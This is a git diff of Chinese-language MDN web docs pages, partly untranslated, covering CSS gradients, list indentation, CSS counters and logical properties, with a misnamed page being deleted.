在使用角度的时候, 0deg 代表渐变方向为从下到上, 90deg 代表渐变方向为从左到右,诸如此类正角度都属于顺时针方向。 而负角度意味着逆时针方向。

+ +

linear_redangles.png

+
+ +

声明颜色和创建效果

+ +

所有的CSS渐变类型都是一个位置依赖的颜色范围。CSS渐变产生的颜色可以随位置不断变化,从而产生平滑的颜色过渡。也可以创建纯色带和两种颜色之间的硬过渡。以下内容适用于所有渐变函数:

+ +
+

使用多种颜色

+ +

无需局限于使用两种颜色,你想使用多少种颜色都可以! 默认情况下,所设置颜色会均匀分布在渐变路径中。

+ + + +
.auto-spaced-linear-gradient {
+  background: linear-gradient(red, yellow, blue, orange);
+}
+
+ +

{{ EmbedLiveSample('Using_more_than_two_colors', 120, 120) }}

+
+ +
+

颜色终止位置

+ +

你不需要让你设置的颜色在默认位置终止。 你可以通过给每个颜色设置0,1%或者2%或者其他的绝对数值来调整它们的位置。如果你将位置设置为百分数, 0% 表示起始点, 而100%表示终点,但是如果需要的话你也可以设置这个范围之外的其他值来达到你想要的效果。如果有些位置你没有明确设置,那么它将会被自动计算,第一种颜色会在0%处停止,而最后一种颜色是100%,至于其他颜色则是在它邻近的两种颜色的中间停止。 

+ + + +
.multicolor-linear {
+   background: linear-gradient(to left, lime 28px, red 77%, cyan);
+}
+
+ +

{{ EmbedLiveSample('Positioning_color_stops', 120, 120) }}

+
+ +
+

创建实线

+ +

要在两种颜色之间创建一条硬线,即创建一个条纹而不是逐渐过渡,可以将相邻的颜色停止设置为相同的位置。在此示例中,两种颜色在50%标记处共享一个颜色停止点,即渐变的一半:

+ + + +
.striped {
+   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
+}
+ +

{{ EmbedLiveSample('Creating_hard_lines', 120, 120) }}

+
+ +
+

渐变提示

+ +

默认情况下,渐变会平滑地从一种颜色过渡到另一种颜色。你可以通过设置一个值来将渐变的中心点移动到指定位置。 在如下示例中, 我们将渐变的中心点由50%设为10%。

+ + + +
.color-hint {
+  background: linear-gradient(blue, 10%, pink);
+}
+.simple-linear {
+  background: linear-gradient(blue, pink);
+}
+ +

{{ EmbedLiveSample('Gradient_hints', 120, 120) }}

+
+ +
+

创建色带和条纹

+ +

要在渐变中包含一个实心的非过渡颜色区域,请包含颜色起止点的两个位置。颜色起止点可以有两个位置,这相当于两个连续颜色在不同位置具有相同的颜色起止点。颜色将在第一个颜色起止点时达到完全饱和,保持该饱和度到第二个颜色起止点,并通过相邻颜色起止点的第一个位置过渡到相邻颜色起止点的颜色。

+ + + +
.multiposition-stops {
+   background: linear-gradient(to left,
+       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
+   background: linear-gradient(to left,
+       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
+}
+.multiposition-stop2 {
+   background: linear-gradient(to left,
+      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
+   background: linear-gradient(to left,
+      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
+}
+
+ +

{{ EmbedLiveSample('Creating_color_bands_stripes', 120, 120) }}

+ +

In the first example above, the lime goes from the 0% mark, which is implied, to the 20% mark, transitions from lime to red over the next 10% of the width of the gradient, reach solid red at the 30% mark, and staying solid red up until 45% through the gradient, where it fades to cyan, being fully cyan for 15% of the gradient, and so on.

+ +

In the second example, the second color stop for each color is at the same location as the first color stop for the adjacent color, creating a striped effect.

+ +

In both examples, the gradient is written twice: the first is the CSS Images Level 3 method of repeating the color for each stop and the second example is the CSS Images Level 4 multiple color stop method of including two color-stop-lengths in a linear-color-stop declaration.

+
+ +
+

Controlling the progression of a gradient

+ +

By default, a gradient evenly progresses between the colors of two adjacent color stops, with the midpoint between those two color stops being the midpoint color value. You can control the interpolation, or progression, between two color stops by including a color hint location. In this example, the color reaches the midpoint between lime and cyan 20% of the way through the gradient rather than 50% of the way through. The second example does not contain the hint to hilight the difference the color hint can make:

+ + + +
.colorhint-gradient {
+  background: linear-gradient(to top, black, 20%, cyan);
+}
+.regular-progression {
+  background: linear-gradient(to top, black, cyan);
+}
+
+ +

{{ EmbedLiveSample('Controlling_the_progression_of_a_gradient', 120, 120) }}

+
+ +

Overlaying gradients

+ +

Gradients support transparency, so you can stack multiple backgrounds to achieve some pretty fancy effects. The backgrounds are stacked from top to bottom, with the first specified being on top.

+ + + +
.layered-image {
+  background: linear-gradient(to right, transparent, mistyrose),
+      url("https://mdn.mozillademos.org/files/15525/critters.png");
+}
+
+ +

{{ EmbedLiveSample('Overlaying_gradients', 300, 150) }}

+ +

Stacked gradients

+ +

You can even stack gradients with other gradients. As long as the top gradients aren't entirely opaque, the gradients below will still be visible.

+ + + +
.stacked-linear {
+  background:
+      linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
+      linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
+      linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
+}
+
+ +

{{ EmbedLiveSample('Stacked_gradients', 200, 200) }}

+ +

Using radial gradients

+ +

Radial gradients are similar to linear gradients, except that they radiate out from a central point. You can dictate where that central point is. You can also make them circular or elliptical.

+ +

A basic radial gradient

+ +

As with linear gradients, all you need to create a radial gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, and the gradient is elliptical matching the aspect ratio of it's box:

+ + + +
.simple-radial {
+  background: radial-gradient(red, blue);
+}
+
+ +

{{ EmbedLiveSample('A_basic_radial_gradient', 120, 120) }}

+ +

Positioning radial color stops

+ +

Again like linear gradients, you can position each radial color stop with a percentage or absolute length.

+ + + +
.radial-gradient {
+  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Positioning_radial_color_stops', 120, 120) }}

+ +

Positioning the center of the gradient

+ +

You can position the center of the gradient with keyterms, percentage, or absolute lengths, length and percentage values repeating if only one is present, otherwise in the order of position from the left and position from the top.

+ + + +
.radial-gradient {
+  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Positioning_the_center_of_the_gradient', 120, 120) }}

+ +

Sizing radial gradients

+ +

Unlike linear gradients, you can specify the size of radial gradients. Possible values include closest-corner, closest-side, farthest-corner, and farthest-side, with farthest-corner being the default.

+ +

Example: closest-side for ellipses

+ +

This example uses the closest-side size value, which means the size is set by the distance from the starting point (the center) to the closest side of the enclosing box.

+ + + +
.radial-ellipse-side {
+  background: radial-gradient(ellipse closest-side,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_closest-side_for_ellipses', 240, 100) }}

+ +

Example: farthest-corner for ellipses

+ +

This example is similar to the previous one, except that its size is specified as farthest-corner, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point.

+ + + +
.radial-ellipse-far {
+  background: radial-gradient(ellipse farthest-corner at 90% 90%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_farthest-corner_for_ellipses', 240, 100) }}

+ +

Example: closest-side for circles

+ +

This example uses closest-side, which makes the circle's size to be the distance between the starting point (the center) and the closest side. The circle's radius is the distance between the center of the gradient and the closest edge, which due to the positioning of the 25% from the top and 25% from the bottom, is closest to the bottom, since the height in this case is narrower than the width.

+ + + +
.radial-circle-close {
+  background: radial-gradient(circle closest-side at 25% 75%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_closest-side_for_circles', 240, 120) }}

+ +

Stacked radial gradients

+ +

Just like linear gradients, you can also stack radial gradients. The first specified is on top, the last on the bottom.

+ + + +
.stacked-radial {
+  background:
+      radial-gradient(circle at 50% 0,
+        rgba(255,0,0,.5),
+        rgba(255,0,0,0) 70.71%),
+      radial-gradient(circle at 6.7% 75%,
+        rgba(0,0,255,.5),
+        rgba(0,0,255,0) 70.71%),
+      radial-gradient(circle at 93.3% 75%,
+        rgba(0,255,0,.5),
+        rgba(0,255,0,0) 70.71%) beige;
+  border-radius: 50%;
+}
+
+ +

{{ EmbedLiveSample('Stacked_radial_gradients', 200, 200) }}

+ +

Using repeating gradients

+ +

The {{cssxref("linear-gradient")}} and {{cssxref("radial-gradient")}} properties don't support automatically repeated color stops. However, the {{cssxref("repeating-linear-gradient")}} and {{cssxref("repeating-radial-gradient")}} properties are available to offer this functionality.

+ +

The size of the gradient line that repeats is the length between the first color stop value and the last color stop length value. If the last color stop has just a color and no color stop length, the value defaults to 0, meaning the linear gradient will not repeat and the radial gradient will only repeat if the radius of the gradient is smaller than the length between the center of the gradient and the farthest corner.

+ +
+

Repeating linear gradients

+ +

This example uses {{cssxref("repeating-linear-gradient")}} to create a gradient that progresses repeatedly in a straight line. The colors get cycled over again as the gradient repeats. In this case the gradient line is 10px long.

+ + + +
.repeating-linear {
+  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
+}
+
+ +

{{ EmbedLiveSample('Repeating_linear_gradients', 120, 120) }}

+
+ +
+

Multiple repeating linear gradients

+ +

Similar to regular linear and radial gradients, you can include multiple gradients, one on top of the other. This only makes sense if the gradients are partially transparent allowing subsequent gradients to show through the transparent areas, or if you include different background-sizes, optionally with different background-position property values, for each gradient image. We are using transparency.

+ +

In this case the gradient lines are 300px, 230px, and 300px long.

+ + + +
.multi-repeating-linear {
+  background:
+      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
+        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
+        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
+        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
+        rgba(255, 0, 0, 0.5) 300px),
+      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
+        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
+        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
+        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
+        rgba(255, 0, 0, 0.5) 230px),
+      repeating-linear-gradient(23deg, red 50px, orange 100px,
+        yellow 150px, green 200px, blue 250px,
+        indigo 300px, violet 350px, red 370px);
+}
+
+ +

{{ EmbedLiveSample('Multiple_repeating_linear_gradients', 600, 400) }}

+
+ +

Plaid gradient

+ +

To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:

+ + + +
.plaid-gradient {
+  background:
+      repeating-linear-gradient(90deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(0deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(-45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+      repeating-linear-gradient(45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+
+  background:
+      repeating-linear-gradient(90deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(0deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(-45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px),
+      repeating-linear-gradient(45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px);
+}
+
+ +

{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}

+ +

Repeating radial gradients

+ +

This example uses {{cssxref("repeating-radial-gradient")}} to create a gradient that radiates repeatedly from a central point. The colors get cycled over and over as the gradient repeats.

+ + + +
.repeating-radial {
+  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+}
+
+ +

{{ EmbedLiveSample('Repeating_radial_gradients', 120, 120) }}

+ +

Multiple repeating radial gradients

+ + + +
.multi-target {
+  background:
+      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
+        rgba(255,255,255,0.5) 30px) top left no-repeat,
+      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
+        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
+  background-size: 200px 200px, 150px 150px;
+}
+
+ +

{{ EmbedLiveSample('Multiple_repeating_radial_gradients', 250, 150) }}

+ +

Plaid gradient

+ +

To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:

+ +
<div class="plaid-gradient"></div>
+ +
div {
+  width: 200px;
+  height: 200px;
+}
+ +
.plaid-gradient {
+  background:
+      repeating-linear-gradient(90deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(0deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(-45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+      repeating-linear-gradient(45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+
+  background:
+      repeating-linear-gradient(90deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(0deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(-45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px),
+      repeating-linear-gradient(45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px);
+}
+
+ +

{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}

+ +

See also

+ + diff --git a/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html b/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html new file mode 100644 index 0000000000..1426940c48 --- /dev/null +++ b/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html @@ -0,0 +1,106 @@ +--- +title: 调整列表缩进 +slug: Web/Guide/CSS/Consistent_list_indentation +tags: + - CSS + - Guide + - NeedsUpdate + - Web + - 列表 + - 缩进 +translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation +--- +

对列表最常见的样式修改之一是改变缩进距离,即列表项向右侧移动的距离。令人沮丧的是,缩进在一个浏览器中的表现常常与其他浏览器中的效果不尽相同。例如,如果声明列表的左边距为0,在IE浏览器中生效,但是在基于Gecko引擎的浏览器中却不起作用。本文将帮助你理解这些可能发生的问题,以及如何避免这些问题的产生。

+ +

为了弄明白这是为什么,以及如何避免这些问题发生,有必要研究一下列表结构的具体细节。

+ +

创建一个列表

+ +

首先,来看一个简单,单独的列表项目。该列表项目没有标记符号(或称之为“着重号”),并且没有被列表包裹起来。如下图图1所示,单独的列表项是无效的,简单且没有任何装饰。

+ +

Figure 1

+ +

红色的虚线边框代表列表项目内容区域的外边界。记住,从这一点上看,这个列表项目没有内边距和边框。如果我们再添加两个列表项目,我们得到下面的结果,如图2所示。

+ +

Figure 2

+ +

现在我们在外面加上父元素;这个例子中,我们使用一个无序列表(i.e., <ul>)。根据 CSS 盒子模型,列表项目的盒子必须显示在其父元素的内容区域里。因为这里的父元素既没有 padding 也没有 margin,所以我们得到下面的结果,如图3所示。

+ +

Figure 3

+ +

这里,蓝色的虚线边框表示 <ul> 元素内容区域的边缘。因为我们没有给 <ul> 元素添加内边距,  所以它的内容的包裹层紧贴在三个列表项外。

+ +

现在我们来添加列表项目标记,由于这是一个无序列表,我们添加传统的实心圆“着重标记”,如下图图4所示。

+ +

Figure 4

+ +

可以看到,这些标记符号在<ul>内容区域的外面,但这无关紧要。重要的是,这些标记被放到主要的<li>元素盒子外面了。它们有点像列表项目的附件,在<li>的内容区域外游荡,但依然依附于<li>。

+ +

这就是为什么在除了IE浏览器以外的所有浏览器上,标记符号都被放在<li>元素的边框外,假设列表项位置的值为外部"outside"。如果该值被改为内部"inside",则标记符号会被放到<li>的内容区域里面,像是放在<li>最开头的内联盒子一样。

+ +

二次缩进

+ +

So how will all this appear in a document? At the moment, we have a situation analogous to these styles:

+ +
ul, li {margin-left: 0; padding-left: 0;}
+ +

If we dropped this list into a document as-is, there would be no apparent indentation and the markers would be in danger of falling off the left edge of the browser window.

+ +

In order to avoid this and get some indentation, there are really only three options available to browser implementors.

+ +
    +
  1. Give each <li> element a left margin.
  2. +
  3. Give the <ul> element a left margin.
  4. +
  5. Give the <ul> element some left padding.
  6. +
+ +

As it turns out, nobody seems to have used the first option. The second option was taken by Internet Explorer for Windows and Macintosh, and Opera. The third was adopted by Gecko, and by extension all the browsers that embed it.

+ +

Let's look at the two approaches for a moment. In Internet Explorer and Opera, the lists are indented by setting a left margin of 40 pixels on the <ul> element. If we apply a background color to the <ul> element and leave the list item and <ul> borders in place, we get the result shown in Figure 5.

+ +

Figure 5

+ +

Gecko, on the other hand, sets a left padding of 40 pixels for the <ul> element, so given the exact same styles as were used to produce Figure 5, loading the example into a Gecko-based browser gives us Figure 6.

+ +

Figure 6

+ +

As we can see, the markers remain attached to the <li> elements, no matter where they are. The difference is entirely in how the <ul> is styled. We can only see the difference if we try to set a background or border on the <ul> element.

+ +

Finding Consistency

+ +

Boil it all down, and what we're left with is this: if you want consistent rendering of lists between Gecko, Internet Explorer, and Opera, you need to set both the left margin and left padding of the <ul> element. We can ignore <li> altogether for these purposes. If you want to reproduce the default display in Netscape 6.x, you write:

+ +
ul {margin-left: 0; padding-left: 40px;}
+ +

If you're more interested in following the Internet Explorer/Opera model, then:

+ +
ul {margin-left: 40px; padding-left: 0;}
+ +

Of course, you can fill in your own preferred values. Set both to 1.25em, if you like -- there's no reason why you have to stick with pixel-based indentation. If you want to reset lists to have no indentation, then you still have to zero out both padding and margin:

+ +
ul {margin-left: 0; padding-left: 0;}
+ +

Remember, though, that in so doing, you'll have the bullets hanging outside the list and its parent element. If the parent is the body, there's a strong chance your bullets will be completely outside the browser window, and thus will not be visible.

+ +

结论

+ +

In the end, we can see that none of the browsers mentioned in this article is right or wrong about how they lay out lists. They use different default styles, and that's where the problems creep in. By making sure you style both the left padding and left margin of lists, you can find much greater cross-browser consistency in your list indentation.

+ +

建议

+ +
    +
  • 在你调整列表的缩进的时候,务必确认同时设置了 padding 和 margin.
  • +
+ +
+

原始文档信息

+ +
    +
  • Author(s): Eric A. Meyer, Netscape Communications
  • +
  • Last Updated Date: Published 30 Aug 2002
  • +
  • Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.
  • +
  • Note: This reprinted article was originally part of the DevEdge site.
  • +
+
+ +

{{ languages( { "fr": "fr/Indentation_homog\u00e8ne_des_listes" } ) }}

diff --git a/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html b/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html new file mode 100644 index 0000000000..4a8fa17797 --- /dev/null +++ b/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html @@ -0,0 +1,120 @@ +--- +title: 使用CSS计数器 +slug: Web/Guide/CSS/Counters +tags: + - CSS + - CSS List + - Web + - counter + - 教程 +translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +--- +
{{CSSRef}}
+ +

本质上CSS计数器是由CSS维护的变量,这些变量可能根据CSS规则增加以跟踪使用次数。这允许你根据文档位置来调整内容表现。 CSS计数器是CSS2.1中自动计数编号部分的实现。

+ +

计数器的值通过使用{{cssxref("counter-reset")}} 和 {{cssxref("counter-increment")}} 操作,在 content 上应用 counter()counters()函数来显示在页面上。

+ +

使用计数器

+ +

使用CSS计数器之前,必须重置一个值,默认是0。使用{{cssxref("counter()")}}函数来给元素增加计数器。 下面的CSS给每个h3元素的前面增加了 "Section <计算器值>:"。

+ +
body {
+  counter-reset: section;           /* 重置计数器成0 */
+}
+h3:before {
+  counter-increment: section;      /* 增加计数器值 */
+  content: "Section " counter(section) ": "; /* 显示计数器 */
+}
+
+ +

例如:

+ +
<h3>Introduction</h3>
+<h3>Body</h3>
+<h3>Conclusion</h3>
+ +

{{ EmbedLiveSample('使用计数器', 300,200) }}

+ +

计数器嵌套

+ +

CSS计数器对创建有序列表特别有用,因为在子元素中会自动创建一个CSS计数器的实例。使用 counters() 函数,在不同级别的嵌套计数器之间可以插入字符串。比如这个CSS例子:

+ +
ol {
+  counter-reset: section;                /* 为每个ol元素创建新的计数器实例 */
+  list-style-type: none;
+}
+li:before {
+  counter-increment: section;            /* 只增加计数器的当前实例 */
+  content: counters(section, ".") " ";   /* 为所有计数器实例增加以“.”分隔的值 */
+}
+
+ +

结合下面的HTML:

+ +
<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item               <!-- 2     -->
+    <ol>
+      <li>item</li>      <!-- 2.1   -->
+      <li>item</li>      <!-- 2.2   -->
+      <li>item           <!-- 2.3   -->
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+        </ol>
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+          <li>item</li>  <!-- 2.3.3 -->
+        </ol>
+      </li>
+      <li>item</li>      <!-- 2.4   -->
+    </ol>
+  </li>
+  <li>item</li>          <!-- 3     -->
+  <li>item</li>          <!-- 4     -->
+</ol>
+<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item</li>          <!-- 2     -->
+</ol>
+ +

结果为:

+ +

{{ EmbedLiveSample('计数器嵌套') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}{{Spec2("CSS3 Lists")}}无变化
{{SpecName('CSS2.1', 'generate.html#generate.html#counters', 'counter-reset')}}{{Spec2('CSS2.1')}}初始定义
+ +

其它

+ + + +

另一个可用的示例在 http://www.mezzoblue.com/archives/20.../counter_intu/。这篇博客 发布于2006年11月1日,但是看上去写得还是准确的。

+ +
 
diff --git a/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html b/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html new file mode 100644 index 0000000000..cfce90ff34 --- /dev/null +++ b/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html @@ -0,0 +1,71 @@ +--- +title: 逻辑属性的和值的基本概念 +slug: Web/CSS/CSS_Logical_Properties/Basic_conceptsjie +translation_of: Web/CSS/CSS_Logical_Properties/Basic_concepts +--- +
{{CSSRef}}
+ +

逻辑属性与值详述中为CSS中许多属性和值引入相对浮动功能。本文介绍了详述,同时对浮动相关的属性和值做出了解释。

+ +

我们为什么需要逻辑属性?

+ +

传统CSS根据屏幕的物理大小定义了 traditionally has sized things according to the physical dimensions of the screen. Therefore we describe boxes as having a {{CSSxRef("width")}} and {{CSSxRef("height")}}, position items from the top and left, float things left, assign borders, margin, and padding to the top, right, bottom, left, etc. The Logical Properties and Values specification defines mappings for these physical values to their logical, or flow relative, counterparts — e.g. start and end as opposed to left and right/top and bottom.

+ +

An example of why these mappings might be needed is as follows. I have a Layout using CSS Grid, the grid container has a width applied and I am using the {{CSSxRef("align-self")}} and {{CSSxRef("justify-self")}} properties to align the items. These properties are flow relative — justify-self: start aligns the item to the start on the inline dimension, align-self: start does the same on the block dimension.

+ +

A grid in a horizontal writing mode

+ +

If I now change the writing mode of this component to vertical-rl using the {{CSSxRef("writing-mode")}} property, the alignment continues to work in the same way. The inline dimension is now running vertically and the block dimension horizontally. The grid doesn't look the same however, as the width assigned to the container is a horizontal measure, a measure tied to the physical and not the logical or flow relative running of the text.

+ +

A grid in vertical writing mode.

+ +

If instead of the width property we use the logical property {{CSSxRef("inline-size")}}, the component now works the same way no matter which writing mode it is displayed using.

+ +

A grid layout in vertical writing mode

+ +

You can try this out in the live example below. Change writing-mode from vertical-rl to horizontal-tb on .box to see how the different properties change the layout.

+ +

{{EmbedGHLiveSample("css-examples/logical/intro-grid-example.html", '100%', 700)}}

+ +

When working with a site in a writing mode other than a horizontal, top to bottom one, or when using writing modes for creative reasons, being able to relate to the flow of the content makes a lot of sense.

+ +

Block and inline dimensions

+ +

A key concept of working with flow relative properties and values is the two dimensions of block and inline. As we saw above, newer CSS layout methods such as Flexbox and Grid Layout use the concepts of block and inline rather than right and left/top and bottom when aligning items.

+ +

The inline dimension is the dimension along which a line of text runs in the writing mode in use. Therefore, in an English document with the text running horizontally left to right, or an Arabic document with the text running horizontally right to left, the inline dimension is horizontal. Switch to a vertical writing mode (e.g. a Japanese document) and the inline dimension is now vertical, as lines in that writing mode run vertically.

+ +

The block dimension is the other dimension, and the direction in which blocks — such as paragraphs — display one after the other. In English and Arabic these run vertically, whereas in any vertical writing mode these run horizontally.

+ +

The below diagram shows the inline and block directions in a horizontal writing mode:

+ +

diagram showing the inline axis running horizontally, block axis vertically.

+ +

This diagram shows block and inline in a vertical writing mode:

+ +

Diagram showing the block axis running horizontally the inline axis vertically.

+ +

Browser support

+ +

Logical Properties and Values can be thought of as a couple of groups in terms of current browser support. Some of the properties are essentially mappings from the physical versions, for example {{CSSxRef("inline-size")}} for {{CSSxRef("width")}} or {{CSSxRef("margin-inline-start")}} rather than {{CSSxRef("margin-left")}}. These mapped properties are starting to see good browser support, and if you look at the individual pages for the properties in the reference here on MDN you will see that Edge is the only modern browser currently missing these.

+ +

There are then a group of properties which do not have a direct mapping in terms of existing physical properties. These are shorthands made possible by the fact that we can refer to both edges of the block or inline dimension at once. An example would be {{CSSxRef("margin-block")}}, which is a shorthand setting for {{CSSxRef("margin-block-start")}} and {{CSSxRef("margin-block-end")}}. These currently have no browser support.

+ +
+

Note: The CSS Working Group are currently trying to decide what to do about the four-value shorthands for logical properties, for example the equivalents to setting four physical properties at once, like margins with the {{CSSxRef("margin")}} property. We would need some kind of modifier if we were to reuse margin for flow-relative properties. If you would like to read the suggestions or comment on them the relevant GitHub issue is #1282.

+
+ +

Testing for browser support

+ +

You can test for support of logical properties and values using feature queries. For example you could set a {{CSSxRef("width")}}, test for {{CSSxRef("inline-size")}} and, if it is supported, set the width to auto and the inline-size to the original width value.

+ +

{{EmbedGHLiveSample("css-examples/logical/intro-feature-queries.html", "100%", 700)}}

+ +

See also

+ + diff --git a/files/zh-cn/web/css/css_logical_properties/basic_conceptsjie/index.html b/files/zh-cn/web/css/css_logical_properties/basic_conceptsjie/index.html deleted file mode 100644 index cfce90ff34..0000000000 --- a/files/zh-cn/web/css/css_logical_properties/basic_conceptsjie/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: 逻辑属性的和值的基本概念 -slug: Web/CSS/CSS_Logical_Properties/Basic_conceptsjie -translation_of: Web/CSS/CSS_Logical_Properties/Basic_concepts ---- -
{{CSSRef}}
- -

逻辑属性与值详述中为CSS中许多属性和值引入相对浮动功能。本文介绍了详述,同时对浮动相关的属性和值做出了解释。

- -

我们为什么需要逻辑属性?

- -

传统CSS根据屏幕的物理大小定义了 traditionally has sized things according to the physical dimensions of the screen. Therefore we describe boxes as having a {{CSSxRef("width")}} and {{CSSxRef("height")}}, position items from the top and left, float things left, assign borders, margin, and padding to the top, right, bottom, left, etc. The Logical Properties and Values specification defines mappings for these physical values to their logical, or flow relative, counterparts — e.g. start and end as opposed to left and right/top and bottom.

- -

An example of why these mappings might be needed is as follows. I have a Layout using CSS Grid, the grid container has a width applied and I am using the {{CSSxRef("align-self")}} and {{CSSxRef("justify-self")}} properties to align the items. These properties are flow relative — justify-self: start aligns the item to the start on the inline dimension, align-self: start does the same on the block dimension.

- -

A grid in a horizontal writing mode

- -

